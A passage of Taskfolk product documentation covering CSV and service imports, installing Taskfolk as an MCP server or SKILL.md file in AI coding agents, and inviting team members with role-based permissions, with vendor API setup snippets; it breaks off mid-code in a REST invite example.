Due date | due, due date | | Estimate (minutes) | estimate, estimate minutes, estimated time | It is a guess, not gospel, so you always get to correct it. There are 11 fields you can map a column to (the table above), and only **Title** is required: every row needs one. Each column gets a dropdown, and you set what it maps to. Got a column you don't want? Set it to **Ignore** and it is left out. There is a "First row is a header" toggle. Leave it on if your first row is column names (the usual case), flip it off if your CSV jumps straight into data. As you map, a live preflight updates at the top: **Ready rows** (these will import) and **Will skip** (these won't, usually a missing Title). Below that is a 20-row preview so you can eyeball the actual result, not just the column names. This is where you catch the "oh, my status column is actually called State and half my rows say Doing, which is not a real status" problems, before you import instead of after. Fix the mapping, watch the Ready count climb, then import. A few touches worth knowing. **Comments** in a CSV become real Taskfolk comments. Put multiple comments in one cell separated by `|||` or by a `---` line, and Taskfolk splits them into distinct comments on the created issue: ``` "First pass done, needs review ||| QA found a Safari bug ||| Shipped in 2.3" ``` **Attachment URLs** don't vanish. They get appended to the issue description as an "Imported attachments" markdown link list, so the pointers stay attached to the work. **Labels** split on commas or semicolons, and any label your rows reference that does not exist yet gets auto-created in the project (default neutral grey, recolour it later from the Labels page). So you don't have to pre-build your label set. The import seeds it. ![Taskfolk's project Labels page showing the label list with names and colours. Labels referenced by imported rows are auto-created here in neutral grey, ready to recolour after the run.](/images/blog/how-to-use-labels-labels-page.webp) When you are happy with the preflight, press the Import button (it shows the count, like "Import 42 issues") and it runs. ## Track the run and land on your board What happens after you hit Start depends on which path you took, and the two behave differently on purpose. **Service imports** show up in a "Recent imports" list on the workspace import page. Each run gives you the source, the destination project, when it started ("Started 2 minutes ago"), and a live progress readout ("14 of 60 tasks added..."). There is a status pill that moves through Preparing, Importing, Ready, or Failed, and a "View imported issues" link once there is something to see. ```mermaid stateDiagram-v2 [*] --> Preparing Preparing --> Importing Importing --> Ready: all rows created Importing --> Failed: run interrupted Ready --> [*] Failed --> [*]: no auto retry ``` The list auto-refreshes every 2.5 seconds while a job is active, so you can watch it climb without hammering reload. When a background import finishes, you also get an email and an in-app notification, so you don't have to babysit the tab. Go do something else and come back when it pings you. **CSV imports** work differently. They show an inline completion summary right there on the page: Created, Skipped, and Total rows, the list of created issue keys (WEB-118, WEB-119, and so on), and the reasons any rows were skipped. From that screen you get "Go to board," "Go to list," and "Import more," so you can jump straight to your freshly populated board. One thing to note: **CSV imports do not appear in the Recent imports list.** That list is only for service and tool imports. So if you ran a CSV import and don't see it in Recent imports later, that is expected, not a bug. The inline summary was your record. Either way, the finish line is the same. A real Taskfolk board with your work on it, cards sitting in Backlog and To Do and In Progress, ready to drag around. ![A Taskfolk kanban board populated with issue cards across Backlog, To Do, In Progress, In Review, and Done columns. This is what an imported project looks like once the run finishes.](/images/blog/how-to-use-a-kanban-board-overview.webp) If you are new to what happens next, [how to use a kanban board](/docs/how-to-use-a-kanban-board) covers moving cards and working the columns, and [how to create an issue](/docs/how-to-create-an-issue) covers adding the odd ticket the import did not cover. ## Limits and mistakes to plan around Before you point a 5,000-row export at this and walk away, know where the ceilings are. **CSV is capped at 1,000 rows per import**, with a 10 MB file-size limit. Feed it a bigger file and only the first 1,000 rows import. The rest are silently left behind. So if you have a 4,000-row backlog, that is four CSVs. Split it before you upload. Don't lose 3,000 rows to a cap you didn't know about. **Service imports** scale differently. When there is no background queue configured (dev environments), they run inline up to 500 rows. Otherwise they run in the background up to a plan ceiling: | Plan | Service import ceiling | | --- | --- | | Free | 1,000 rows | | Pro | 10,000 rows | | Business | 50,000 rows (the absolute hard ceiling) | A whole-account Jira migration running into the tens of thousands of issues needs a Business plan, and remember, it is still one container per import. **An interrupted background import is not auto-restarted.** If a run gets cut off partway (a deploy, a crash), Taskfolk marks it Failed and deliberately does not retry it. That is a safety choice. An automatic retry risks creating every issue twice. So if you see Failed, don't panic and don't wait for it to recover on its own. Review what did land, then start a fresh import for whatever is missing. A couple more to file away. There is **no field-mapping UI for service imports**. The mapping is fixed per connector, which is exactly why the CSV path exists when you need control. **Scoped projects** need more than the `issue.create` role. You also need to be a project member with create rights, or the import will not let you target that project. And the whole import route **404s for anyone without permission**, which is expected behaviour, not a broken link. The practical playbook, learned the hard way on real migrations: 1. **Import a small batch first.** Ten rows, not a thousand. Confirm the statuses and assignees land where you expect, then run the full thing. 2. **Clean your CSV header names** to match what Taskfolk auto-detects (Title, Status, Assignee email) so the mapping is right on the first pass. 3. **Invite your teammates into the workspace before you import**, so their emails match and the assignees actually stick instead of everything coming in unassigned. For a wider view of moving off another tool (the strategy, not just the buttons), [migrate from Jira, Trello, or Asana to Taskfolk](/blog/migrate-from-jira-trello-asana-to-taskfolk) goes broader, and if you are still weighing the switch itself, [Taskfolk vs Jira](/vs/jira) lays out the differences. Ready to move your first project? Open your workspace, click Import work, and start with a ten-row test. --- # How to install Taskfolk as an agent skill URL: https://taskfolk.ai/docs/how-to-install-taskfolk-as-an-agent-skill Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: MCP, AI agents, Claude Code, how-to, developer Install Taskfolk as a skill in your AI coding agent: one-command MCP for Claude Code, config for Cursor and VS Code, or a SKILL.md download for OpenCode and Codex. Your coding agent can already write code. What it cannot do, out of the box, is see your board. So when you tell it to "pick up the timeline bug," it either shrugs or invents a ticket that already exists three rows down in your backlog. You end up pasting issue keys into the chat, correcting its guesses, doing the lookup work by hand. The whole point of the agent was to stop doing that. This guide fixes it in about one command. You will install Taskfolk as a skill in your AI coding agent, which gives it live, authenticated access to your real projects, members, and tickets, so it reads the board instead of guessing at it. If you have ever searched for how to install a project tool as an AI agent skill and hit a wall of half-relevant MCP theory, this is the concrete version, for Taskfolk, that you can actually run. ## What you'll learn - Install Taskfolk as a skill in your AI coding agent with the one-command MCP install for Claude Code, or a downloaded SKILL.md for OpenCode and Codex - Find the Skills tab in the developer console and read what each of the 8 install targets actually does - Tell the difference between adding an MCP server and dropping a SKILL.md file into a skills folder, and pick the right one for your client - Mint an API key first, then substitute the real token into the copied command so the connection actually authenticates - Verify the agent can see your live projects, members, and the epic/story/task/bug/subtask hierarchy from inside the tool ## Why give your AI agent a skill instead of pasting context Here is the failure mode you are killing. You paste a chunk of your board into the chat. The agent works off that snapshot. Ten minutes later reality has moved: someone reassigned the ticket, a status changed, a new bug got filed. Your pasted context is now a lie the agent is confidently building on. Pasting context is a photograph. What you want is a window. Installing Taskfolk as a skill gives the agent that window. Live read and write access to real projects over an authenticated connection. Ask it "what's in the WEB backlog" and it queries the actual backlog, not your two-minute-old paste. Ask it to file a bug and the bug lands on the board with the right project key, the right reporter, attributed to the agent's own API key. Nobody relays issue keys by hand anymore. There are two mechanisms hiding under the phrase "install as a skill," and it pays to know which is which before you start. The first is an **MCP server**: your agent speaks the Model Context Protocol to a live Taskfolk endpoint, and Taskfolk exposes a set of tools the agent can call. The second is a **SKILL.md file**: a plain markdown document, customised to your workspace, that you drop into your agent's skills folder so the agent reads it as instructions. Same goal, different plumbing. The Skills tab covers both, which is why "install Taskfolk as a skill in your AI coding agent" is the phrase that spans both. ```mermaid flowchart LR T[Skills tab target] --> M{Which plumbing} M -->|MCP server| A[Claude Code] M -->|MCP server| B["Cursor, VS Code, Claude Desktop"] M -->|SKILL.md file| C[OpenCode] M -->|SKILL.md file| D[Codex] ``` If you want the conceptual background before the mechanics, [how to connect an AI agent](/docs/how-to-connect-an-ai-agent) walks through the connection model, and [MCP or REST API for your agent](/blog/mcp-or-rest-api-for-your-agent) is the honest comparison of when each transport is the right call. ## Where the Skills tab lives in the developer console Everything in this tutorial happens on one screen. Get to it from your workspace: open **Knowledge**, then the **Developer** panel. The header reads "Developer" with the subtitle "API keys, skills, webhooks, and usage for this workspace." That subtitle is the map. Keys, skills, webhooks, and usage are the tabs, and Skills is the fifth one, right after Keys, marked with the spark icon. ![The Developer console inside Knowledge, with the tab strip that holds Keys, Skills, Webhooks, and Usage](/images/blog/how-to-use-the-rest-api-developer-overview.webp) Click **Skills** and the tab loads at `/w/[workspace]/knowledge/developer?tab=skills`. The heading is literally "Install Taskfolk as a skill," and the blurb underneath tells you exactly what the tab is for: "Connect Taskfolk to your AI agent. MCP-native clients get a one-line config; SKILL.md clients download a workspace-customised bundle. Snippets point at the live API at taskfolk.ai." Read that blurb once and the rest of the page reads itself. MCP-native clients (Claude Code, Cursor, VS Code, Claude Desktop) get a config. SKILL.md clients (OpenCode, Codex) get a file. Everything points at the live production API. One thing this tab does not do, which trips people up: it is not where you create keys. It reads your existing keys and pre-fills the newest one's prefix into the snippets. So the real navigation is a two-step. Mint a key on the Keys tab, then come back here to install. Do the key first, because the install command is worthless without it. ## Mint an API key before you copy anything This is the honest sequence, and it matters because the Skills tab is a little sneaky about how ready-to-paste its snippets look. The tab does **not** create keys. What it does is pre-fill the newest existing key's **prefix** into the bearer slot of every snippet. A prefix is the short leading fragment of a key, enough to say which key a snippet is talking about, but not the full secret. It will not authenticate anything on its own. ```mermaid flowchart LR K[Mint key on Keys tab] --> C[Copy install snippet] C --> S[Swap in the full key] S --> R[Run it] R --> V[Verify with a probe] ``` The full plaintext key is shown exactly once, at the moment you create it, on the **Keys** tab. Once. After that the database stores only a hash, so nobody can ever show you the whole key again. Not the tab, not an admin, not support. This is normal for any serious API, and it is the reason the Skills tab can only ever show you a prefix. So before you touch a single install command, go to the Keys tab (`?tab=keys`) and mint a key. Copy the full value the instant it appears and keep it somewhere safe for the next few minutes. One key per agent is the clean pattern: give Claude Code its own key, give a CI bot its own key. Then every action that agent takes on your board is attributed to that key. When you later see "filed by" on a bug, it points at the right actor. ![An issue's activity feed attributing a change to a named agent, which is what per-agent API keys buy you](/images/blog/manage-a-team-of-ai-agents-attribution.webp) If you land on the Skills tab with no usable key, you get a banner instead of a happy pre-filled command. It reads: "No API key yet. Snippets below use YOUR_API_KEY as a placeholder. Create one to get a ready-to-paste command." It has a **Get a key first** button that jumps you straight to the Keys tab. Two permission caveats, to be straight about it. Only owners and admins (anyone with `workspace.edit_settings`) get the prefix pre-filled at all. Members and viewers always see the plain `YOUR_API_KEY` placeholder, because they should not be reading account keys. And even for owners, the pre-filled value is still only the prefix. You substitute the real key you saved at creation time. More on that when we hit the command. ## The one-command install for install project tool as an AI agent skill in Claude Code This is the flow the tab is built around, and it really is one line. When the Skills tab loads, **Claude Code** is selected by default in the segmented target strip (aria-label "Install targets"), and it carries a **Recommended** tag. The note under it reads: "Recommended. Adds the Taskfolk MCP server to Claude Code in one command." The command looks like this: ```bash claude mcp add --transport http taskfolk-product https://taskfolk.ai/api/mcp/v1 --header "Authorization: Bearer YOUR_API_KEY" ``` ![The Skills tab with the 'Install Taskfolk as a skill' heading, the 8-target strip with Claude Code selected and marked Recommended, and the one-line 'claude mcp add taskfolk-product' install command with its copy button. This is the hero one-command install.](/images/blog/how-to-install-taskfolk-as-an-agent-skill-skills-claude-code.webp) What it does: registers the [Taskfolk MCP server](/mcp) with Claude Code, over Streamable HTTP transport, with bearer-token auth, in a single line. Run it in your terminal and Claude Code has Taskfolk's tools available. Next time you ask it about your board, it calls those tools instead of guessing. Copying is per-block. Each snippet has its own copy button (accessible label "Copy {name} snippet"). Click it and you get a "Copied to clipboard." toast, and the copy icon flips to a checkmark for about a second and a half so you know it took. If the browser blocks clipboard access, you get "Could not copy. Select the text manually." and you do exactly that. Now the substitution, the step people skip and then wonder why nothing works. Unless you minted your key in the last minute or so on this same session, the `Bearer` slot in the copied command holds either the placeholder `YOUR_API_KEY` or your key's prefix. Neither authenticates. Before you run the command, replace that value with the full key you saved from the Keys tab. (Narrow exception: if you just minted a key seconds ago, a downloaded snippet can carry the real token spliced in via a same-minute stash. Do not count on it. Assume you are substituting by hand and you will never be caught out.) Be precise about what just happened, because "install as a skill" can mislead here. `claude mcp add` installs an MCP **server** in Claude Code. It does not drop a SKILL.md file into a skills folder. That distinction matters for the OpenCode and Codex flows later, which do the opposite. If you want the reasoning behind Taskfolk shipping an MCP server at all, [why Taskfolk has an MCP server](/blog/why-taskfolk-has-an-mcp-server) makes the case. ## Connect Cursor, VS Code, or Claude Desktop with a config file Not every client takes a one-liner. The next three targets hand you a JSON block to paste into a config file, and the tab tells you which file and shows the exact shape. **Claude Desktop.** The caption points at `~/Library/Application Support/Claude/claude_desktop_config.json`, and the note says "Paste into your Claude Desktop config file." The shape is an `mcpServers` object: ```json { "mcpServers": { "taskfolk-product": { "url": "https://taskfolk.ai/api/mcp/v1", "headers": { "Authorization": "Bearer YOUR_API_KEY" } } } } ``` **Cursor.** Caption `~/.cursor/mcp.json`, note "Paste into your Cursor MCP config." Same `mcpServers` shape as Claude Desktop, so if you have done one you have done both. **VS Code.** Caption `.vscode/mcp.json`, a per-workspace file this time. Note "Paste into your workspace MCP config (Continue / Copilot Chat)." The shape is a little different, a `servers` object with an explicit transport block: ```json { "servers": { "taskfolk-product": { "transport": { "type": "http", "url": "https://taskfolk.ai/api/mcp/v1" }, "headers": { "Authorization": "Bearer YOUR_API_KEY" } } } } ``` The substitution rule applies to all three. The `Authorization` value carries a prefix or the placeholder, and you swap in your real key before saving the file. Worth knowing if you would rather script this than click through the UI: these blocks are also plain endpoints. `GET /api/skill/claude.mcp.json`, `/api/skill/cursor.mcp.json`, and `/api/skill/vscode.mcp.json`. Each accepts `?workspace=`, an optional `?key=`, and `?all=1` to return every variant in one document. They return the identical JSON the tab renders, so you can curl the config straight into place in a setup script: ```bash curl -fsSL "https://taskfolk.ai/api/skill/cursor.mcp.json?workspace=your-slug" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -o ~/.cursor/mcp.json ``` ## Download a SKILL.md for OpenCode and Codex Now the other mechanism, the one that produces an actual file. The **OpenCode** and **Codex** targets do not add an MCP server. They download a workspace-customised `SKILL.md` into your agent's skills folder, and the agent reads that file as standing instructions. The two differ only by destination. OpenCode writes to `~/.claude/skills/taskfolk-product/SKILL.md` (note: "Download the workspace-customised SKILL.md into your OpenCode skills folder"). Codex writes to `~/.codex/skills/taskfolk-product/SKILL.md` (note: "Download the SKILL.md into your Codex CLI skills folder"). The snippet does the same handful of things in both cases: makes the skills directory, curls the skill URL with your bearer token, writes the response to `SKILL.md`, then appends an `export TASKFOLK_API_KEY=` line to your shell's startup file (`~/.zshrc` on macOS, `~/.bashrc` on most Linux) so the key is available in your shell for the curl recipes the skill contains. The OpenCode variant, as the tab hands it to you: ```bash mkdir -p ~/.claude/skills/taskfolk-product curl -fsSL "https://taskfolk.ai/api/skill/taskfolk-product.skill.md?workspace=your-slug" \ -H "Authorization: Bearer YOUR_API_KEY" \ -o ~/.claude/skills/taskfolk-product/SKILL.md echo "export TASKFOLK_API_KEY=YOUR_API_KEY" >> ~/.$(basename "$SHELL")rc ``` The skill file itself is fetched from `GET /api/skill/taskfolk-product.skill.md?workspace=`, and nothing about that endpoint is curl-specific. If your setup script is JavaScript: ```javascript const res = await fetch( "https://taskfolk.ai/api/skill/taskfolk-product.skill.md?workspace=your-slug", { headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}` } }, ); const skill = await res.text(); ``` ```python import os import requests res = requests.get( "https://taskfolk.ai/api/skill/taskfolk-product.skill.md", params={"workspace": "your-slug"}, headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, ) skill = res.text ``` This is the target that downloads a real skill file, as opposed to `claude mcp add`, which wired up a server. If your mental model is "a skill is a markdown file the agent reads," these two targets are the literal version of that. The MCP targets are the "skill as a live connection" version. Two more targets round out the eight, for cases that do not fit a named client. **Generic MCP** gives you the raw connection details for any MCP-compliant client over Streamable HTTP: the URL, Transport: Streamable HTTP, and Authorization: Bearer with your key. **Raw OpenAPI** is for when you would rather generate a typed client than talk MCP at all. It hands you the spec download so you can feed it to your codegen tool: ```bash curl https://taskfolk.ai/api/v1/openapi.json > taskfolk-product-openapi.json ``` If that REST-first path is where you are headed, [how to use the REST API](/docs/how-to-use-the-rest-api) is the next stop. ## What the workspace-customised SKILL.md actually teaches your agent Open the downloaded `SKILL.md` and read it. It is not generic boilerplate. It is generated against your workspace, and it front-loads the agent with what it needs to act correctly on your board. At the top is YAML frontmatter: `name: taskfolk-product`, a natural-language `description` written with trigger phrases so the agent knows when the skill is relevant, and an `allowed-tools` line (`Bash(curl:*)`, `Read`, `Write`) that scopes what the skill can do. Below that, the sections teach: - **Authentication and attribution.** How to present the bearer token, and the one-key-per-agent convention so actions attribute cleanly. - **The MCP install line**, so an agent that read the file can also wire up the live connection. - **The type hierarchy and containment rules.** Epic, story, task, bug, subtask, and what can nest inside what. This is the part that stops the agent from filing a subtask with no parent, or an epic under another epic. - **The status lifecycle.** The category flow is `backlog -> todo -> in_progress -> in_review -> done`, plus `cancelled`. The agent learns the real states, not invented ones. - **The transition, time, and custom-field endpoints**, so it can move a ticket, log time, or set a field without you spelling out the URL. - **A worked "start a new project" example** it can imitate. - **A live list of the workspace's projects**: for each, the key, name, slug, labels, and custom fields. - **A members table**: each person's `@handle` (derived from the email local-part), name, and role, so `@mentions` resolve to real people. - **Quick recipes**: what's assigned to me, file a bug, add to the backlog, post a comment, search. - Links to the docs and the public OpenAPI URL. Make it concrete. For a project keyed **WEB**, the agent reads that its board columns are Backlog, To Do, In Progress, In Review, Done, and it sees real tickets sitting in them, something like "Timeline + Summary tab." So when you say "move the timeline summary work to in review," it knows the ticket exists, which column it is in, and where "in review" sits in the flow. No guessing, no key relay. One honest limit: the file lists only **live** projects and members. Archived and soft-deleted rows are excluded. If your workspace has no projects yet, the SKILL.md tells the agent to create one and re-download, rather than shipping an empty projects section. So generate the skill after you have at least one real project, or regenerate it once you do. ## Test the connection and verify the agent can see your board Do not trust that it worked just because the command ran without an error. Ask the agent something only a genuinely connected client could answer. Two good probes: "what's assigned to me in WEB" or "list the projects in this workspace." ```mermaid sequenceDiagram participant You participant Agent as Coding agent participant Taskfolk as Taskfolk MCP server You->>Agent: what is assigned to me in WEB Agent->>Taskfolk: tool call with bearer key Taskfolk-->>Agent: live tickets and columns Agent-->>You: real keys and real statuses ``` What good looks like: the agent comes back with real ticket keys and real column names. It says WEB has a Backlog and an In Review column and names actual tickets in them. That is the tell that it is reading the live board. What failure looks like: vague, hedged, made-up answers, or a flat "I can't see any projects." ![The agent hub showing a connected agent, the state you are confirming with the probe](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) When it fails, the cause is almost always one of two things, in this order of likelihood. First, the placeholder key was never swapped for the real one, so the bearer is `YOUR_API_KEY` or a bare prefix and the request never authenticates. Go check the actual value in the command or config file. Second, whoever generated the snippet lacked `workspace.edit_settings`, so only the prefix ever filled in and there was never a full key to begin with. Mint one as an owner or admin. It helps to understand the auth model underneath, because it explains some behavior that is friendlier than you might expect. The download and config endpoints are **dual-auth**: a logged-in workspace member (via session cookie) or a valid API key both resolve to the same workspace. A workspace you cannot access returns a 404, not a 403, so the system never confirms or denies whether a given workspace exists to someone who should not know. A caller with no credentials at all does not get a hostile 401 either. They get a friendly onboarding SKILL.md that walks them through sign up, create a workspace, mint a key, connect. The MCP server itself is stricter. It is bearer-only, so a missing or bad key there is a straight 401. ## Limits and mistakes to avoid This tab is a snippet generator. Being clear-eyed about what it is not will save you a confused ten minutes. - **There is no install button that pushes the skill to your agent.** The tab renders copyable text. You run it. There is no marketplace of installable skills on this tab either; the separate Apps and Marketplace tabs are different features. - **The auto-filled bearer is only the key prefix.** It reads ready-to-paste, but it will not authenticate until you substitute the full key you saved at creation time. The only exception is a key minted seconds ago on the same session. Assume you are substituting by hand. - **`claude mcp add` installs an MCP server, not a skill folder.** Only the OpenCode and Codex targets download an actual `SKILL.md`. "Install as a skill" is the umbrella phrase; know which target does which. - **The snippets always point at production, `taskfolk.ai`.** In the browser the tab uses your current origin and falls back to `https://taskfolk.ai`. It does not target localhost, so do not go hunting for a local URL to swap in. - **Trailing slash quirk.** The MCP URL in the tab is `/api/mcp/v1` with no trailing slash; the generated `SKILL.md` writes `/api/mcp/v1/` with one. Both hit the same server. Neither form is more correct. - **Custom-field recipes use a `FIELD_ID` placeholder.** The real field IDs come from the per-project "Projects in this workspace" section of your generated SKILL.md. Read them there rather than guessing. Get the ordering right. Mint the key, install, substitute the real token, then verify against your live board, and the agent stops inventing tickets and starts working from what is actually there. If you want to see how far the write side goes, [let AI agents run your board over the REST API](/blog/let-ai-agents-run-your-board-over-the-rest-api) picks up where this leaves off. Open the **Skills** tab in your workspace developer console and install Taskfolk into your agent. --- # How to invite team members URL: https://taskfolk.ai/docs/how-to-invite-team-members Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: roles and permissions, engineering management, how-to Invite team members to a Taskfolk workspace and set their roles: the five roles explained, guest project scoping, invite lifecycle, ownership transfer, and billing. You just spun up a workspace. Now three teammates, a contractor, and maybe an AI agent all need in, and the level of access you hand each one is not a small decision. Give too little and someone can't do their job. Give too much and a freelancer you brought on for a single project can archive a project or, if you really slip, delete the workspace out from under you. Getting invite team members roles and permissions right the first time saves you the awkward walk-back later, plus the "wait, who gave them access to that?" conversation. The good news: Taskfolk makes this a five-minute job once you know where the controls live and what each role actually does. This walks through the whole thing. Inviting one person or fifty at once, picking the right role for each, scoping a guest to a single project, tracking and killing invites, and later changing someone's role or handing over the keys entirely. ## What roles and permissions actually control Access in Taskfolk is a spectrum, not an on/off switch. A workspace has five roles, and each one draws a different line around what a person can see and change: owner, admin, member, viewer, and guest. Say that last one plainly up front. There are five roles, not four. Guest is a first-class role for external collaborators, and it behaves differently from everything else. Here is the mental model. Owner sits at the top with full control. Admin runs the workspace day to day but can't touch a handful of owner-only levers. Member is your default working role: create issues, edit them, comment. Viewer is read-only. Guest is an outsider you've let into specific projects and nothing beyond them. Every one of those distinctions is enforced by a single permissions matrix in the codebase (`src/lib/permissions/index.ts`). That detail is worth caring about even if you never read a line of code, because it means the buttons you see and the actions the server allows never drift apart. If the UI hides a control from you, the server would have blocked the action too. There's no gap where a hidden button still "works" if you poke at it with a request. And when it comes to managing people, only owners and admins get the management controls at all. Members, viewers, and guests can't invite, remove, or re-role anyone. All of this lives in one place: the People page. ## Find the People page Go to Settings, then People. The URL is `/w//members`, but every label you'll actually see calls it People: the sidebar link, the breadcrumb, the Settings tab, the page title. The `/members` path is kept only so old bookmarks stay valid, so don't be thrown when the address bar and the heading disagree. Treat it as the People page. ![The Taskfolk People page showing the role-count summary (Total, Owner, Admin, Member, Viewer, Guest), the Active members list with avatars, a You badge, colored role badges, and each row's kebab menu, plus the invitations sidebar. Shows where every people-management control lives.](/images/blog/how-to-invite-team-members-people-overview.webp) The top of the page gives you a role-count summary: Total, then a count for each of Owner, Admin, Member, Viewer, and Guest. It's a quick sanity check. If you expected four people and see six, someone got added you forgot about, and now you know to go look. Below that is the Active members list. Each row shows an avatar (or initials if the person hasn't uploaded a photo, never a blank gap), their display name, and their email. Your own row carries a "You" badge so you don't fat-finger removing yourself. Anyone flagged as an AI agent shows an "Agent" badge. Each person's role sits in a colored badge, and at the end of the row is a kebab menu, the three-dot button, that holds the management actions. Off to the side is the invitations area, where pending invites live once you've sent some. The members list paginates at 50 per page and pending invites at 25, so a large team stays readable instead of turning into an endless scroll. One thing to notice: if you're a member, viewer, or guest, you won't see the invite button or the row menus at all. The management controls only render for owners and admins. That's the `can()` check hiding exactly what `requireCan()` would block on the server anyway. ## Invite team members by email and set their roles This is the core of it. Inviting team members, and the roles and permissions each one gets, is decided right here, before the invite ever leaves your workspace. Teams on SSO can skip the manual list entirely: [how to set up SSO and SCIM](/docs/how-to-set-up-sso-and-scim) walks through syncing members from your identity provider instead. Click Invite people. You get an email field with the placeholder "Paste emails or type one." Do exactly that: - Type a single address and press Enter, comma, or semicolon to commit it. - Or paste a whole block at once. Taskfolk splits pasted text on Enter, comma, semicolon, or a space, so you can drop in a list copied from a spreadsheet or an email thread and it sorts them into separate entries. - Fat-fingered one? Backspace on an empty field removes the last email you added. Each email you commit becomes its own row in the Review invitees list, and each row carries its own role dropdown. This is the part people miss coming from other tools: you're not stamping one role across a batch. You set the role per person. Your new engineering lead goes in as Admin, three developers as Member, and the freelance designer as Guest, all in the same submit. The role choices at invite time are Admin, Member, Viewer, and Guest. Owner is not in the list, and it never will be. You can't invite someone straight to owner. Ownership changes hands only through an explicit transfer, which is further down. A single submit sends up to 50 invites, that's the batch cap. Behind the scenes Taskfolk chunks the sends 10 at a time so a big batch doesn't choke, but to you it's one click on Send invites. The button reads "Sending..." while it works. ![The invite panel: enter an email, pick a role per person, and send; the member list alongside shows connected agents tagged as agents and a free viewer](/images/blog/how-to-invite-team-members-invite-dialog.webp) What does good look like here? Default most people to Member. That's the role that lets someone actually do the work without handing them the workspace. Reserve Admin for the one or two people who genuinely help you run the place, invite others, and manage projects. Give Viewer to stakeholders who want to watch progress but never touch a ticket. And give any external contractor Guest, then scope them to just their project (next section). Getting the default right matters more than any single exception you'll make later. ## Which of the five roles to pick (and which are free) Here's each role in plain terms, straight from Taskfolk's own descriptions. **Owner** is full control. Delete the workspace, transfer ownership, and everything below. There is exactly one owner per workspace, and the role is set only by an ownership transfer, never by invite. It's the "can burn it all down" role, so it stays a single pair of hands. **Admin** can invite members, manage projects, and change roles, with everything owner-related fenced off. An admin can't promote someone to owner, can't demote the owner, can't delete the workspace, and can't transfer ownership. Powerful, but deliberately short of the nuclear buttons. This is the right role for a co-lead or an ops person you trust to run things. **Member** can create and edit issues and leave comments. This is the everyday working role. If someone is doing the actual project work, they're a Member. **Viewer** is read-only. They can't comment, upload, or edit anything. Good for a client who wants visibility, an exec checking status, or a new hire in their first read-only week before they start touching tickets. **Guest** is an external collaborator who only sees the projects you add them to. A freelancer, an agency contact, a contractor. They come in through a narrow door and see nothing past it. Side by side: | Role | What they can do | Billed as a seat? | |---|---|---| | Owner | Everything, including delete workspace and transfer ownership | Yes | | Admin | Invite people, manage projects, change roles | Yes | | Member | Create and edit issues, comment | Yes | | Viewer | Read-only, no comments or edits | No, free | | Guest | Only the projects explicitly granted | No, free | If you're unsure, this decision path covers most people: ```mermaid flowchart TD A[New person joining] --> B{Will they edit issues} B -->|No| C{Internal or external} C -->|Internal| V[Viewer] C -->|External| G[Guest scoped to projects] B -->|Yes| D{Will they run the workspace} D -->|No| M[Member] D -->|Yes| E[Admin] ``` Now the billing honesty, because this is where teams quietly overspend out of caution. Viewers are free. Guests are free too. And connected AI agents aren't billed as seats either. Only owner, admin, and member count as editor seats, the ones that show up on your invoice. So if you're tempted to make a read-only stakeholder a Member "just in case," don't. Viewer costs nothing and is the correct role for someone who only reads. Same logic for agents. If you're wondering how automated teammates factor into the bill, the short answer is they don't count as seats, and there's a full breakdown in [do AI agents count as seats](/blog/do-ai-agents-count-as-seats). ## Give guests access to only the right projects Guests are the role most likely to trip you up, because a guest with no project assigned lands in an empty workspace and wonders where everything went. That's by design. Guests start with no project access at all. You have to hand them a project. The moment you set any invitee's role to Guest, a new control appears in the invite form: a "Projects for guests" multi-select. It's a searchable picker (a popover with a Command search box inside), and it carries the helper text "Guests can only see the projects you pick here." Choose the projects there and your guest arrives with exactly that access on day one. Concrete example. You've hired a freelance designer to work on the marketing site, which lives in the WEB project. Invite them as Guest, open Projects for guests, and select WEB. When they accept, they see the WEB board (Backlog, To Do, In Progress, In Review, Done), they can open the "Timeline + Summary tab" ticket sitting in To Do, and they see nothing from any other project in the workspace. Your finance project, your internal roadmap, none of it exists as far as they can tell. If you forget to pre-pick, the guest accepts into a workspace with nothing in it. You can fix that afterward, but only from the Scoped project access section (covered near the end), not from the invite form. So pick the projects at invite time whenever you can. One detail under the hood worth knowing: a guest's row on a project uses a nominal project role of "member," but their workspace-level Guest role is what actually governs their scoped permissions. You don't manage both. Set them up as a Guest, give them the project, and the scoping takes care of itself. ## Track, resend, and revoke pending invites Once you hit Send invites, each one becomes a pending invite with its own life cycle, and you run that from the Pending invites panel. Each pending invite shows its role badge, so you can see at a glance you invited someone as Admin and not Member, and an expiry line: "expires " while it's live, or "expired " once it's lapsed. Expired invites also get an "Expired" badge and drop out of the active pending count, so the number you see reflects invites that can still be accepted. Every invite is single-use, email-bound, and expires after exactly 7 days. That combination matters, so pull it apart: - **Single-use** means once someone accepts, the link is spent. - **Email-bound** means the recipient has to sign in with the exact email you sent it to. Try to accept while signed into a different account and it fails with a wrong-account error. - **7 days** means it's not forever. Sit on it for a week and a half and the link is dead. This is the bit people misread: a Taskfolk invite is not a shareable join link you drop in a group chat. It's addressed to one person. Forward it to a colleague and that colleague still can't get in. The whole life cycle looks like this: ```mermaid stateDiagram-v2 [*] --> Pending: Send invites Pending --> Accepted: Signs in with the invited email Pending --> Expired: 7 days pass Pending --> Revoked: You revoke it Expired --> Pending: Resend mints a fresh token Accepted --> [*]: Joins with the chosen role Revoked --> [*]: Can be invited again later ``` That's what the row kebab is for. Resend revokes the old token, mints a fresh one with a new 7-day clock, and re-emails the person. Reach for it when an invite expired or got buried in a spam folder. Revoke kills the link immediately, for when you invited the wrong address or the plan changed under you. After a revoke, that person can still be invited again later from scratch. Revoking blocks nothing permanently. One limit to keep in the back of your mind: invites are rate-limited to 100 per hour per workspace. You won't hit that inviting a team over coffee, but if you're migrating a large org and scripting invites, pace them. ## Script invites over the REST API Speaking of scripting: everything above has an API twin. If you're onboarding people from an HR system or a migration script, `POST /v1/workspaces/{slug}/invites` sends an invite email, one address and one role per call. The API key needs the `members:write` scope and its creator has to be an owner or admin, the same permission gate as the invite button. ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/invites" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{ "email": "sara@example.com", "role": "member" }' ``` ```javascript const res = await fetch("https://taskfolk.ai/api/v1/workspaces/taskfolk/invites", { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ email: "sara@example.com", role: "member" 